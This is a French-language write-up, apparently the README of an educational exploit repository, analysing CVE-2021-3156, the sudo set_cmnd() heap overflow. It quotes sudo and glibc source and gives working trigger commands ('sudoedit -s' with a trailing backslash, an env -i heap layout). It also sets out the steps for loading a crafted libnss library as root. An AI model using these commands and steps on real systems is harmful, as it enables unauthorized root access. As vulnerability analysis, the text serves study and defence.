
Implémentation éducative d'exploit et analyse de CVE-2021-3156, un débordement de tampon basé sur le tas dans la fonction set_cmnd() de sudo, permettant une élévation de privilèges vers root via des arguments de ligne de commande conçus.
Dans ce document, nous incluons toutes les connaissances nécessaires pour comprendre le code dans ce dépôt et pourquoi il fonctionne. Toute l'explication est basée sur le rapport créé par QUALYS. D'autres formes d'exploitation y sont expliquées.
Les versions vulnérables de sudo sont les versions héritées de 1.8.2 à 1.8.31p2 et toutes les versions stables de 1.9.0 à 1.9.5p1, dans leur configuration par défaut.
Ce dépôt est testé sur Ubuntu 20.04 (sudo 1.8.31). Dans celui-ci, nous ouvrons un terminal avec les privilèges root.
Si Sudo est exécuté pour lancer une commande en mode shell :
-s, qui positionne le drapeau MODE_SHELL de sudo.-i, qui positionne les drapeaux MODE_SHELL et MODE_LOGIN_SHELL de sudo.Ensuite, au début de main() de sudo, parse_args() réécrit argv, en concaténant tous les arguments de la ligne de commande et en échappant tous les méta-caractères avec des antislashs.
if (ISSET(mode, MODE_RUN) && ISSET(flags, MODE_SHELL)) {
char **av, *cmnd = NULL;
int ac = 1;
cmnd = dst = reallocarray(NULL, cmnd_size, 2);
for (av = argv; *av != NULL; av++) {
for (src = *av; *src != '\0'; src++) {
/* quote potential meta characters */
if (!isalnum((unsigned char)*src) && *src != '_' && *src != '-' && *src != '$')
*dst++ = '\\';
*dst++ = *src;
}
*dst++ = ' ';
}
...
ac += 2; /* -c cmnd */
...
av = reallocarray(NULL, ac + 1, sizeof(char *));
...
av[0] = (char *)user_details.shell; /* plugin may override shell */
if (cmnd != NULL) {
av[1] = "-c";
av[2] = cmnd;
}
av[ac] = NULL;
argv = av;
argc = ac;
}
Plus tard, dans sudoers_policy_main(), set_cmnd() concatène les arguments de la ligne de commande dans un tampon basé sur le tas user_args et déséchappe les méta-caractères, "à des fins de correspondance et de journalisation sudoers" :
if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) {
...
for (size = 0, av = NewArgv + 1; *av; av++)
size += strlen(*av) + 1;
if (size == 0 || (user_args = malloc(size)) == NULL) {
...
}
if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) {
...
for (to = user_args, av = NewArgv + 1; (from = *av); av++) {
while (*from) {
if (from[0] == '\\' && !isspace((unsigned char)from[1]))
from++;
*to++ = *from++;
}
*to++ = ' ';
}
...
}
...
}
Si un argument de ligne de commande se termine par un seul antislash, alors :
from[0] est le caractère antislash et from[1] le terminateur nulfrom est incrémenté et pointe vers le terminateur nuluser_args et from est à nouveau incrémenté et pointe hors limitesuser_args.En d'autres termes, set_cmnd() est vulnérable à un débordement de tampon basé sur le tas, car les caractères hors limites qui sont copiés dans le tampon user_args n'ont pas été inclus dans sa taille.
En théorie, cependant, aucun argument de ligne de commande ne peut se terminer par un seul antislash : si MODE_SHELL ou MODE_LOGIN_SHELL est positionné (une condition nécessaire pour atteindre le code vulnérable), alors MODE_SHELL est positionné et parse_args() a déjà échappé tous les méta-caractères, y compris les antislashs (c'est-à-dire qu'il a échappé chaque antislash avec un second antislash).
En pratique, cependant, le code vulnérable dans set_cmnd() et le code d'échappement dans parse_args() sont entourés de conditions légèrement différentes :
if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) {
...
if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) {`
versus :
if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) {
Notre question, alors, est : pouvons-nous positionner MODE_SHELL et soit MODE_EDIT ou MODE_CHECK (pour atteindre le code vulnérable) mais pas le MODE_RUN par défaut (pour éviter le code d'échappement) ?
La réponse, semble-t-il, est non : si nous positionnons MODE_EDIT (option -e) ou MODE_CHECK (option -l), alors parse_args() supprime MODE_SHELL de valid_flags et se termine avec une erreur si nous spécifions un drapeau invalide tel que MODE_SHELL) :
case 'e':
...
mode = MODE_EDIT;
sudo_settings[ARG_SUDOEDIT].value = "true";
valid_flags = MODE_NONINTERACTIVE;
break;
...
case 'l':
...
mode = MODE_LIST;
valid_flags = MODE_NONINTERACTIVE|MODE_LONG_LIST;
break;
...
if (argc > 0 && mode == MODE_LIST)
mode = MODE_CHECK;
...
if ((flags & valid_flags) != flags)
usage(1);
Mais nous avons trouvé une faille : si nous exécutons Sudo en tant que sudoedit au lieu de sudo, alors parse_args() positionne automatiquement MODE_EDIT mais ne réinitialise pas valid_flags, et valid_flags inclut MODE_SHELL par défaut :
#define DEFAULT_VALID_FLAGS (MODE_BACKGROUND|MODE_PRESERVE_ENV|MODE_RESET_HOME|MODE_LOGIN_SHELL|MODE_NONINTERACTIVE|MODE_SHELL)
...
int valid_flags = DEFAULT_VALID_FLAGS;
...
proglen = strlen(progname);
if (proglen > 4 && strcmp(progname + proglen - 4, "edit") == 0) {
progname = "sudoedit";
mode = MODE_EDIT;
sudo_settings[ARG_SUDOEDIT].value = "true";
}
Par conséquent, si nous exécutons "sudoedit -s", nous positionnons à la fois MODE_EDIT et MODE_SHELL (mais pas MODE_RUN), nous évitons le code d'échappement, atteignons le code vulnérable et débordons le tampon basé sur le tas user_args via un argument de ligne de commande qui se termine par un seul antislash :
sudoedit -s '\' `perl -e 'print "A" x 65536'`
malloc(): corrupted top size
Aborted (core dumped)
Du point de vue d'un attaquant, ce débordement de tampon est idéal :
user_args que nous débordons (la taille de nos arguments de ligne de commande concaténés) ;user_args).Par exemple, sur un Linux amd64, la commande suivante alloue un tampon user_args de 24 octets (un bloc de tas de 32 octets) et écrase le champ size du bloc suivant avec "A=a\0B=b\0" (0x00623d4200613d41), son champ fd avec "C=c\0D=d\0" (0x00643d4400633d43), et son champ bk avec "E=e\0F=f\0" (0x00663d4600653d45) :
env -i 'AA=a\' 'B=b\' 'C=c\' 'D=d\' 'E=e\' 'F=f' sudoedit -s '1234567890123456789012\'
--|--------+--------+--------+--------|--------+--------+--------+--------+--
| | |12345678|90123456|789012.A|A=a.B=b.|C=c.D=d.|E=e.F=f.|
--|--------+--------+--------+--------|--------+--------+--------+--------+--
size <---- user_args buffer ----> size fd bk
Program received signal SIGSEGV, Segmentation fault.
0x00007f6bf9c294ee in nss_load_library (ni=ni@entry=0x55cf1a1dd040) at nsswitch.c:344
=> 0x7f6bf9c294ee <nss_load_library+46>: cmpq $0x0,0x8(%rbx)
rbx 0x41414141414141 18367622009667905
La fonction qui plante est nss_load_library() de glibc (à la ligne 344) parce que le pointeur library a été écrasé.
static int
nss_load_library (service_user *ni)
{
if (ni->library == NULL)
{
ni->library = nss_new_service (service_table ?: &default_table,
ni->name);
}
if (ni->library->lib_handle == NULL)
{
/* Load the shared library. */
size_t shlen = (7 + strlen (ni->name) + 3
+ strlen (__nss_shlib_revision) + 1);
int saved_errno = errno;
char shlib_name[shlen];
/* Construct shared object name. */
__stpcpy (__stpcpy (__stpcpy (__stpcpy (shlib_name,
"libnss_"),
ni->name),
".so"),
__nss_shlib_revision);
ni->library->lib_handle = __libc_dlopen (shlib_name);
Les étapes pour exploiter ce crash sont les suivantes :
ni->library avec NULL. Cela fera entrer le code dans la clause if et démarrer l'analyse et le chargement de la bibliothèque.ni->name avec "X/X". Cela contient originalement "systemd".__stpcpy analyseront "libnss_X/X.so.2" au lieu de "libnss_systemd.so.2"."libnss_X/X.so.2" en tant que root. À l'intérieur, nous pouvons faire tout ce que nous voulons en tant que root.